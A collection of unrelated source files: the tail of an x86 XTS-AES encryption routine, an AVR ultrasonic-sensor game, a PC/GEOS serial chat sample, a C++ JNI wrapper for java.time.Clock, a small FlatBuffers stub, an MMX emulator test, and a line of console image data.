encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 7, 1
; store ciphertext
vmovdqu [ptr_ciphertext+16*0], xmm1
vmovdqu [ptr_ciphertext+16*1], xmm2
vmovdqu [ptr_ciphertext+16*2], xmm3
vmovdqu [ptr_ciphertext+16*3], xmm4
vmovdqu [ptr_ciphertext+16*4], xmm5
vmovdqu [ptr_ciphertext+16*5], xmm6
vmovdqu [ptr_ciphertext+16*6], xmm7
add ptr_ciphertext, 16*7
vmovdqa xmm8, xmm7
and N_val, 15 ; N_val = N_val mod 16
je _ret_
jmp _steal_cipher_next
_num_blocks_is_6:
initialize xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, 6
add ptr_plaintext, 16*6
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 6, 1
; store ciphertext
vmovdqu [ptr_ciphertext+16*0], xmm1
vmovdqu [ptr_ciphertext+16*1], xmm2
vmovdqu [ptr_ciphertext+16*2], xmm3
vmovdqu [ptr_ciphertext+16*3], xmm4
vmovdqu [ptr_ciphertext+16*4], xmm5
vmovdqu [ptr_ciphertext+16*5], xmm6
add ptr_ciphertext, 16*6
vmovdqa xmm8, xmm6
and N_val, 15 ; N_val = N_val mod 16
je _ret_
jmp _steal_cipher_next
_num_blocks_is_5:
initialize xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, 5
add ptr_plaintext, 16*5
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 5, 1
; store ciphertext
vmovdqu [ptr_ciphertext+16*0], xmm1
vmovdqu [ptr_ciphertext+16*1], xmm2
vmovdqu [ptr_ciphertext+16*2], xmm3
vmovdqu [ptr_ciphertext+16*3], xmm4
vmovdqu [ptr_ciphertext+16*4], xmm5
add ptr_ciphertext, 16*5
vmovdqa xmm8, xmm5
and N_val, 15 ; N_val = N_val mod 16
je _ret_
jmp _steal_cipher_next
_num_blocks_is_4:
initialize xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, 4
add ptr_plaintext, 16*4
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 4, 1
; store ciphertext
vmovdqu [ptr_ciphertext+16*0], xmm1
vmovdqu [ptr_ciphertext+16*1], xmm2
vmovdqu [ptr_ciphertext+16*2], xmm3
vmovdqu [ptr_ciphertext+16*3], xmm4
add ptr_ciphertext, 16*4
vmovdqa xmm8, xmm4
and N_val, 15 ; N_val = N_val mod 16
je _ret_
jmp _steal_cipher_next
_num_blocks_is_3:
initialize xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, 3
add ptr_plaintext, 16*3
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 3, 1
; store ciphertext
vmovdqu [ptr_ciphertext+16*0], xmm1
vmovdqu [ptr_ciphertext+16*1], xmm2
vmovdqu [ptr_ciphertext+16*2], xmm3
add ptr_ciphertext, 16*3
vmovdqa xmm8, xmm3
and N_val, 15 ; N_val = N_val mod 16
je _ret_
jmp _steal_cipher_next
_num_blocks_is_2:
initialize xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, 2
add ptr_plaintext, 16*2
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 2, 1
; store ciphertext
vmovdqu [ptr_ciphertext], xmm1
vmovdqu [ptr_ciphertext+16], xmm2
add ptr_ciphertext, 16*2
vmovdqa xmm8, xmm2
and N_val, 15 ; N_val = N_val mod 16
je _ret_
jmp _steal_cipher_next
_num_blocks_is_1:
initialize xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, 1
add ptr_plaintext, 16*1
encrypt_initial xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm8, xmm9, xmm10, xmm11, xmm12, xmm13, xmm14, xmm15, xmm0, 1, 1
vmovdqu [ptr_ciphertext], xmm1
add ptr_ciphertext, 16*1
vmovdqa xmm8, xmm1
and N_val, 15 ; N_val = N_val mod 16
je _ret_
jmp _steal_cipher_next
section .data
align 16
vpshufb_shf_table:
; use these values for shift constants for the vpshufb instruction
; different alignments result in values as shown:
; dq 0x8887868584838281, 0x008f8e8d8c8b8a89 ; shl 15 (16-1) / shr1
; dq 0x8988878685848382, 0x01008f8e8d8c8b8a ; shl 14 (16-3) / shr2
; dq 0x8a89888786858483, 0x0201008f8e8d8c8b ; shl 13 (16-4) / shr3
; dq 0x8b8a898887868584, 0x030201008f8e8d8c ; shl 12 (16-4) / shr4
; dq 0x8c8b8a8988878685, 0x04030201008f8e8d ; shl 11 (16-5) / shr5
; dq 0x8d8c8b8a89888786, 0x0504030201008f8e ; shl 10 (16-6) / shr6
; dq 0x8e8d8c8b8a898887, 0x060504030201008f ; shl 9 (16-7) / shr7
; dq 0x8f8e8d8c8b8a8988, 0x0706050403020100 ; shl 8 (16-8) / shr8
; dq 0x008f8e8d8c8b8a89, 0x0807060504030201 ; shl 7 (16-9) / shr9
; dq 0x01008f8e8d8c8b8a, 0x0908070605040302 ; shl 6 (16-10) / shr10
; dq 0x0201008f8e8d8c8b, 0x0a09080706050403 ; shl 5 (16-11) / shr11
; dq 0x030201008f8e8d8c, 0x0b0a090807060504 ; shl 4 (16-12) / shr12
; dq 0x04030201008f8e8d, 0x0c0b0a0908070605 ; shl 3 (16-13) / shr13
; dq 0x0504030201008f8e, 0x0d0c0b0a09080706 ; shl 2 (16-14) / shr14
; dq 0x060504030201008f, 0x0e0d0c0b0a090807 ; shl 1 (16-15) / shr15
dq 0x8786858483828100, 0x8f8e8d8c8b8a8988
dq 0x0706050403020100, 0x000e0d0c0b0a0908
mask1:
dq 0x8080808080808080, 0x8080808080808080
const_dq3210: dq 0, 0, 1, 1, 2, 2, 3, 3
const_dq5678: dq 8, 8, 7, 7, 6, 6, 5, 5
const_dq7654: dq 4, 4, 5, 5, 6, 6, 7, 7
const_dq1234: dq 4, 4, 3, 3, 2, 2, 1, 1
shufb_15_7: db 15, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 7, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
%else ; Assembler doesn't understand these opcodes. Add empty symbol for windows.
%ifidn __OUTPUT_FORMAT__, win64
global no_XTS_AES_256_enc_vaes
no_XTS_AES_256_enc_vaes:
%endif
%endif ; (AS_FEATURE_LEVEL) >= 10
|
;Hand-Eye Cordination Game
;Author: Moris Scofield Mukwayi
; PORTC0-PORTC3 reserved for the seven segment that displays high
; PORTC4 Trigger of the sensor
; PORTC5 Slide switch
; PORTD7-Green LED
; PORTD6-Yellow LED
; PORTD5-Red LED
; PORTD4-Echo pin of the sensor
.org 0x000
rjmp initislise_inputs ; Interrupt vector for initializing the game
.org 0x00A
rjmp echo_interrupt_handler ; Jump here when the edge to the echo changes
.org 0x01A
rjmp pulse_handler ; Jump here to send a pulse to the sensor
.def current_game_mode = r0 ; Define a register to store the current game mode
.def random_seed = r1 ; Define the seed that will generate a new random number every time
.def dummy_reg = r16 ; Define a temporary register that will be used to load data into other registers
.def current_timer_val = r17 ; Define a register to hold the value of timer 2 afer 1 echo pulse interval
.def current_region = r18 ; Define the register that stores the current region
.def current_random = r19 ; Define the register that will store the current random number
.def current_turn = r20 ; Define the register to keep track of the current turns
.def current_score = r21 ; Define a register that will store the current score
initislise_inputs: ; Initialize all input output ports
ser dummy_reg
out ddrb, dummy_reg
out ddrc, dummy_reg
out ddrd, dummy_reg
cbi ddrd, 4 ; DDR for input must be set to low
cbi ddrc, 5 ; DDR for input must be set to low
clr dummy_reg
out portb, dummy_reg
out portc, dummy_reg
out portd, dummy_reg
rjmp determine_current_game_mode
finish_setup: ; Return here when the game mode has been determined
ldi dummy_reg, 0b00000100 ; Setup Pinchange interrupts in portd
sts PCICR, dummy_reg ; Load the value into the pin change interrupt control register
ldi dummy_reg, 0b00010000 ; Initialize pind, 4 to recieve a pin change interrupt
sts PCMSK2, dummy_reg ; Load the value into pin change mask register 2
ldi dummy_reg, 0b00001101 ; Set the pre-scaler to slow down timer 1
sts TCCR1B, dummy_reg ; Load the value into tc1 control register B
ldi dummy_reg, 0b00000101 ; Set the prescaler to slow down timer 2
out TCCR0B, dummy_reg ; Load the value into tc2 control register B
ldi dummy_reg, 173
mov random_seed, dummy_reg
clr current_score ; Initialze the current score
clr current_turn ; Initialze the current_turns
clr dummy_reg ; The timer operates in normal mode (No PWM) and overflows when it reaches the value set in the determine_current_game_mode routine
sts TCCR1A, dummy_reg ; Load the value into tc1 control register A
ldi dummy_reg, 0b00000010 ; Enable timer 1 overflow interrups
sts TIMSK1, dummy_reg ; Load the value in the timer/counter 1 interrupt mask register
sei ; enable global interrupts
main_loop:
rjmp main_loop
determine_current_game_mode:
sbis pinc, 5 ; If pinc 5 is set to high skip the next instruction
rjmp set_to_test_mode
set_to_playing_mode: ; If pinc 5 is set to low set the game mode to playing mode
ldi dummy_reg, 1
mov current_game_mode, dummy_reg ; Clear the game_mode register which indicates that we're in test mode
// Load 62500 into the timer. This number in combination with the prescaler that will be set in the finish_setup routine,
// makes timer 1 overflow after 4 seconds
ldi dummy_reg, 0xF4
sts OCR1AH, dummy_reg
ldi dummy_reg, 0x24
sts OCR1AL, dummy_reg
rjmp finish_setup
set_to_test_mode: ; If pinc 5 is set to high set the game mode to test mode
clr current_game_mode ; Clear the game_mode register which indicates that we're in test mode
// Load 15625 into the timer. This number in combination with the prescaler that will be set in the finish_setup routine,
// makes timer 1 overflow after 1 seconds
ldi dummy_reg, 0x3D
sts OCR1AH, dummy_reg
ldi dummy_reg, 0x09
sts OCR1AL, dummy_reg
rjmp finish_setup
echo_interrupt_handler:
sbis pind, 4 ; If pinc 5 is set to high skip the next instruction
rjmp handle_low_echo_input
handle_high_echo_input: ; When a high from the echo is recieved handle it here
clr dummy_reg ; Restart the timer we get the value when the interrupt returns for low
out TCNT0, dummy_reg ; Load the value directly into the register that stores the timer value
reti
handle_low_echo_input: ; When a low from an echo is recieved handle it here
in current_timer_val, TCNT0
rjmp check_region
back_to_int: ; Return here when were done checking which region we're in
sbrs current_game_mode, 0 ; If the current game mode is test mode, output the region
out portb, current_region
sbrc current_game_mode, 0 ; If the current game mode is play mode, calculate the score
rjmp calculate_new_score
back_to_int_2:
sbrc current_game_mode, 0 ;; If the current game mode is play mode, calculate the score
rjmp next_turn
back_to_int_3:
sbrc current_game_mode, 0; If the current game mode is play mode, generate a ranom number
rjmp generate_random_number
back_to_int_4:
reti
pulse_handler:
sbi portc, 4 ; Send a high to the trigger of the sensor
// Standard delay that lasts for roughly 14 micro seconds to make sure enough time has passed
ldi dummy_reg, 74
decrement_dummy: dec dummy_reg
brne decrement_dummy
cbi portc, 4 ; Send a low to the trigger of the sensor
reti
check_region:; The allowed play area is between is between 2 and 20 cm away from the sensor seperated into 4 regions. This routine checks if we're within those limits
check_for_limit:
cpi current_timer_val, 16 ; If the distance away from the sensor is less than 16cm, check if we're in region 4.
brlo check_for_region_4
ldi dummy_reg, 0 ; Else we're out of bounds and save the region as 0
rjmp save_region ; save the region
check_for_region_4:
cpi current_timer_val, 12 ; If the distance away from the sensor is less than 12cm, check if we're in region 3.
brlo check_for_region_3
ldi dummy_reg, 4 ; Else we're in region 4
rjmp save_region ; save the region
check_for_region_3:
cpi current_timer_val, 8 ; If the distance away from the sensor is less than 8cm, check if we're in region 2.
brlo check_for_region_2
ldi dummy_reg, 3 ; Else we're in region 3
rjmp save_region ; save the region
check_for_region_2:
cpi current_timer_val, 4 ; If the distance away from the sensor is between 8cm and 4cm, We're in region 1.
brlo in_region_1
ldi dummy_reg, 2 ; Else we're in region 2
rjmp save_region ; save the region
in_region_1:
ldi dummy_reg, 1 ; Else we're in region 1
save_region: ; store the region for future use here
mov current_region, dummy_reg
rjmp back_to_int ; Go back to echo_interrupt_handler
generate_random_number:
add current_random, random_seed
swap random_seed
generate:
cpi current_random, 4
brlo save_random
subi current_random, 4
rjmp generate
save_random:
inc current_random
out portb, current_random
rjmp back_to_int_4
calculate_new_score:
cbi portd, 7 ; Turn off green LED
cbi portd, 6 ; Turn off Yellow LED
cbi portd, 5 ; Turn off Red LED
clr dummy_reg
cp current_turn, dummy_reg
breq back_to_int_2
cp current_random, current_region ; If region is correct increment
breq increment_score
cpi current_region, 0 ; If no player detected, do not dincrement
breq no_score
dec current_score ; otherwise decrement
sbi portd, 5
rjmp back_to_int_2
increment_score: ; Add 2 to the score
inc current_score
inc current_score
sbi portd, 7
rjmp back_to_int_2
no_score: ; Dont add to the score and turn on the orange LED
sbi portd, 6
rjmp back_to_int_2
next_turn:
inc current_turn ; increment the current turn
ldi dummy_reg, 7
cp current_turn, dummy_reg ; If the number of turns is 7 or higher
brsh display_score ; Output the score
rjmp back_to_int_3
display_score:
cli ; Disable all global interrupts
// Turn off all LED's
cbi portd, 7
cbi portd, 6
cbi portd, 5
cpi current_score, 10 ; If the current score is less than 10 only show the units
brlo display_without_tens
cpi current_score, 13 ; If the current score is greater than 13, its a negative number in unsigned form and must be converted
brsh display_negative
subi current_score, 10
out portb, current_score
ldi dummy_reg, 1
out portc, dummy_reg
rjmp final_loop
display_without_tens:
out portb, current_score
rjmp final_loop
display_negative:
neg current_score ; Take the two's complement of the score
out portb, current_score
sbi portd, 5
rjmp final_loop
final_loop:
rjmp final_loop |
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Talk (Sample PC GEOS application)
FILE: talk.asm
REVISION HISTORY:
Name Date Description
---- ---- -----------
Insik 8/92 Initial Version
DESCRIPTION:
a crude "chat" application to demonstrate the Net Library and Comm
Driver.
to use the app, one must select the port and baud rate and open
a connection before typing and sending messages
RCS STAMP:
$Id: talk.asm,v 1.1 97/04/04 16:34:48 newdeal Exp $
------------------------------------------------------------------------------@
;------------------------------------------------------------------------------
; Include files
;------------------------------------------------------------------------------
include geos.def
include heap.def
include geode.def
include resource.def
include ec.def
include object.def
include graphics.def
include Objects/winC.def
; must include serialDr.def
UseDriver Internal/serialDr.def
;------------------------------------------------------------------------------
; Libraries used
;------------------------------------------------------------------------------
UseLib net.def
UseLib ui.def
UseLib Objects/vTextC.def
;------------------------------------------------------------------------------
; Class & Method Definitions
;------------------------------------------------------------------------------
TalkProcessClass class GenProcessClass
MSG_TALK_SET_PORT message
MSG_TALK_SET_RATE message
MSG_TALK_OPEN_CONNECTION message
MSG_TALK_CLOSE_CONNECTION message
MSG_TALK_SEND_TEXT message
TalkProcessClass endc ;end of class definition
UNINITIALIZED equ 8
idata segment
TalkProcessClass mask CLASSF_NEVER_SAVED
;this flag necessary because ProcessClass
;objects are hybrid objects.
; * SerialPortInfo contains the baud rate and com port info necessary to
; * open thee port
portInfo SerialPortInfo <SERIAL_COM1, SB_19200>
port word UNINITIALIZED
socket word UNINITIALIZED
idata ends
udata segment
textBuf db 82 dup (?)
udata ends
;------------------------------------------------------------------------------
; Resources
;------------------------------------------------------------------------------
include talk.rdef ;include compiled UI definitions
;------------------------------------------------------------------------------
; Code for TalkProcessClass
;------------------------------------------------------------------------------
CommonCode segment resource ;start of code resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetPort
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY:
PASS: *ds:si = TalkProcessClass object
ds:di = TalkProcessClass instance data
ds:bx = TalkProcessClass object (same as *ds:si)
es = segment of TalkProcessClass
ax = message #
cx = SerialPortNum
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ISR 8/ 5/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetPort method dynamic TalkProcessClass,
MSG_TALK_SET_PORT
uses ax, cx, dx, bp
.enter
segmov es,dgroup,ax
mov es:[portInfo].SPI_portNumber,cx
.leave
ret
SetPort endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetBaud
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY:
PASS: *ds:si = TalkProcessClass object
ds:di = TalkProcessClass instance data
ds:bx = TalkProcessClass object (same as *ds:si)
es = segment of TalkProcessClass
ax = message #
cx = SerialBaud
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ISR 8/ 5/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetBaud method dynamic TalkProcessClass,
MSG_TALK_SET_RATE
uses ax, cx, dx, bp
.enter
segmov es,dgroup,ax
mov es:[portInfo].SPI_baudRate,cx
.leave
ret
SetBaud endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OpenConnection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Open port/socket, etc
CALLED BY:
PASS: *ds:si = TalkProcessClass object
ds:di = TalkProcessClass instance data
ds:bx = TalkProcessClass object (same as *ds:si)
es = segment of TalkProcessClass
ax = message #
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ISR 8/ 5/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OpenConnection method dynamic TalkProcessClass,
MSG_TALK_OPEN_CONNECTION
uses ax, cx, dx, bp
.enter
call CloseCurrentConnection
; call init procedures, first open the port
segmov ds, es, si
mov si, offset portInfo
mov cx, size SerialPortInfo
call NetMsgOpenPort ; bx - port token
jc exit
mov es:[port], bx
GetResourceHandleNS ReceiveTextDisplay, bx
mov si, bx
mov bx, es:[port]
; when we supply the callback address, we use a virtual segment so that
; the code doesn't have to reside in fixed memory
push ds
mov dx, vseg ReceiveTextCallback
mov ds, dx
mov dx, offset cs:ReceiveTextCallback
mov cx, SID_TALK ;Our ID and the dest ID
mov bp, cx ; are the same
call NetMsgCreateSocket ; ax - socket token
mov es:[socket], ax
pop ds
exit: .leave
ret
OpenConnection endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CloseConnection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
CALLED BY: MSG_TALK_CLOSE_CONNECTION
PASS: *ds:si = TalkProcessClass object
ds:di = TalkProcessClass instance data
ds:bx = TalkProcessClass object (same as *ds:si)
es = segment of TalkProcessClass
ax = message #
RETURN:
DESTROYED:
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ISR 1/29/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CloseConnection method dynamic TalkProcessClass,
MSG_TALK_CLOSE_CONNECTION
uses ax, cx, dx, bp
.enter
call CloseCurrentConnection
.leave
ret
CloseConnection endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CloseCurrentConnection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Close current connection
CALLED BY: OpenConnection, CloseConnection
PASS: es - dgroup
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ISR 1/29/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CloseCurrentConnection proc near
uses ax,bx,cx,dx,si,di,bp
.enter
cmp es:[port], UNINITIALIZED
je exit ; already closed
mov bx, es:[port]
mov dx, es:[socket]
call NetMsgDestroySocket
call NetMsgClosePort
mov es:[port], UNINITIALIZED
mov es:[socket], UNINITIALIZED
exit: .leave
ret
CloseCurrentConnection endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SendText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: send text
CALLED BY: UI
PASS: *ds:si = TalkProcessClass object
ds:di = TalkProcessClass instance data
ds:bx = TalkProcessClass object (same as *ds:si)
es = segment of TalkProcessClass
ax = message #
RETURN:
DESTROYED:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ISR 8/ 5/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SendText method TalkProcessClass, MSG_TALK_SEND_TEXT
uses ax, cx, dx, bp
.enter
segmov ds,dgroup,ax
; get the string.
GetResourceHandleNS EntryDisplay, bx
mov si, offset EntryDisplay
mov ax,MSG_VIS_TEXT_GET_ALL_PTR
mov dx,ds
mov bp,offset textBuf ;dx:bp - string
mov di, mask MF_CALL
call ObjMessage ; cx - str length
push ds,bp
add bp, cx
mov ds,dx
mov {byte} ds:[bp], 13
pop ds,bp
inc cx
; display it in our Send Window
GetResourceHandleNS SendTextDisplay, bx
mov si, offset SendTextDisplay
mov ax,MSG_VIS_TEXT_APPEND_PTR
mov di, mask MF_FORCE_QUEUE
call ObjMessage
; now send it across the port
mov bx, ds:[port]
mov dx, ds:[socket]
mov si, offset textBuf ; ds:si - string
call NetMsgSendBuffer
; erase the Entry Display
GetResourceHandleNS EntryDisplay, bx
mov si, offset EntryDisplay
mov ax,MSG_VIS_TEXT_DELETE_ALL
mov di, mask MF_FORCE_QUEUE
call ObjMessage
.leave
ret
SendText endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ReceiveTextCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: take buffer and append it
CALLED BY: Server
PASS: ds:si - buffer
cx - size
dx - data passed from remote side
di - resource handle for ReceiveTextDisplay
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
This code is called by the COMM driver's server thread, so whatever it does,
it should be quick about it. Most programs will have its own "dispatch
thread" which will get called with the buffer. Also, the buffer will be
erased once execution returns to the server thread.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ISR 8/ 5/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ReceiveTextCallback proc far
uses bp,ds,es
.enter
jcxz exit
cmp cx, SOCKET_HEARTBEAT
jz exit
mov bx,di
mov dx,ds
mov bp,si ;dx:bp - string
mov si, offset ReceiveTextDisplay
mov ax,MSG_VIS_TEXT_APPEND_PTR
mov di, mask MF_CALL
call ObjMessage
exit: .leave
ret
ReceiveTextCallback endp
CommonCode ends ;end of CommonCode resource
|
#include "../../JObject.hpp"
#include "./Duration.hpp"
#include "./Instant.hpp"
#include "./ZoneId.hpp"
#include "./Clock.hpp"
namespace java::time
{
// Fields
// QJniObject forward
Clock::Clock(QJniObject obj) : JObject(obj) {}
// Constructors
// Methods
java::time::Clock Clock::fixed(java::time::Instant arg0, java::time::ZoneId arg1)
{
return callStaticObjectMethod(
"java.time.Clock",
"fixed",
"(Ljava/time/Instant;Ljava/time/ZoneId;)Ljava/time/Clock;",
arg0.object(),
arg1.object()
);
}
java::time::Clock Clock::offset(java::time::Clock arg0, java::time::Duration arg1)
{
return callStaticObjectMethod(
"java.time.Clock",
"offset",
"(Ljava/time/Clock;Ljava/time/Duration;)Ljava/time/Clock;",
arg0.object(),
arg1.object()
);
}
java::time::Clock Clock::system(java::time::ZoneId arg0)
{
return callStaticObjectMethod(
"java.time.Clock",
"system",
"(Ljava/time/ZoneId;)Ljava/time/Clock;",
arg0.object()
);
}
java::time::Clock Clock::systemDefaultZone()
{
return callStaticObjectMethod(
"java.time.Clock",
"systemDefaultZone",
"()Ljava/time/Clock;"
);
}
java::time::Clock Clock::systemUTC()
{
return callStaticObjectMethod(
"java.time.Clock",
"systemUTC",
"()Ljava/time/Clock;"
);
}
java::time::Clock Clock::tick(java::time::Clock arg0, java::time::Duration arg1)
{
return callStaticObjectMethod(
"java.time.Clock",
"tick",
"(Ljava/time/Clock;Ljava/time/Duration;)Ljava/time/Clock;",
arg0.object(),
arg1.object()
);
}
java::time::Clock Clock::tickMillis(java::time::ZoneId arg0)
{
return callStaticObjectMethod(
"java.time.Clock",
"tickMillis",
"(Ljava/time/ZoneId;)Ljava/time/Clock;",
arg0.object()
);
}
java::time::Clock Clock::tickMinutes(java::time::ZoneId arg0)
{
return callStaticObjectMethod(
"java.time.Clock",
"tickMinutes",
"(Ljava/time/ZoneId;)Ljava/time/Clock;",
arg0.object()
);
}
java::time::Clock Clock::tickSeconds(java::time::ZoneId arg0)
{
return callStaticObjectMethod(
"java.time.Clock",
"tickSeconds",
"(Ljava/time/ZoneId;)Ljava/time/Clock;",
arg0.object()
);
}
jboolean Clock::equals(JObject arg0) const
{
return callMethod<jboolean>(
"equals",
"(Ljava/lang/Object;)Z",
arg0.object<jobject>()
);
}
java::time::ZoneId Clock::getZone() const
{
return callObjectMethod(
"getZone",
"()Ljava/time/ZoneId;"
);
}
jint Clock::hashCode() const
{
return callMethod<jint>(
"hashCode",
"()I"
);
}
java::time::Instant Clock::instant() const
{
return callObjectMethod(
"instant",
"()Ljava/time/Instant;"
);
}
jlong Clock::millis() const
{
return callMethod<jlong>(
"millis",
"()J"
);
}
java::time::Clock Clock::withZone(java::time::ZoneId arg0) const
{
return callObjectMethod(
"withZone",
"(Ljava/time/ZoneId;)Ljava/time/Clock;",
arg0.object()
);
}
} // namespace java::time
|
// SPDX-License-Identifier: BSD-2-Clause
//
// This code has been produced by the European Spallation Source
// and its partner institutes under the BSD 2 Clause License.
//
// See LICENSE.md at the top level for license information.
//
// Screaming Udder! https://esss.se
#include "FlatBufferCreator.h"
#include "logger.h"
namespace FlatBufs {
void FlatBufferCreator::config(
std::map<std::string, std::string> const &KafkaConfiguration) {
UNUSED_ARG(KafkaConfiguration);
}
std::map<std::string, double> FlatBufferCreator::getStats() { return {}; }
} // namespace FlatBufs
|
%ifdef CONFIG
{
"RegData": {
"MM0": "0x6545664667476848",
"MM1": "0x6545664667476848",
"MM2": "0x6162636465666768"
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
mov rdx, 0xe0000000
mov rax, 0x4142434445464748
mov [rdx + 8 * 0], rax
mov rax, 0x5152535455565758
mov [rdx + 8 * 1], rax
mov rax, 0x6162636465666768
mov [rdx + 8 * 2], rax
mov rax, 0x7172737475767778
mov [rdx + 8 * 3], rax
movq mm0, [rdx]
punpcklbw mm0, [rdx + 8 * 2]
movq mm1, [rdx]
movq mm2, [rdx + 8 * 2]
punpcklbw mm1, mm2
hlt
|
ConsoleImageData:
DB $FF,$FF,$FF,$FF,$FF,$FF,$00,$7F,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$7F,$00,$FF,$FF,$FF,$FF,$FF,$FF ; row 1
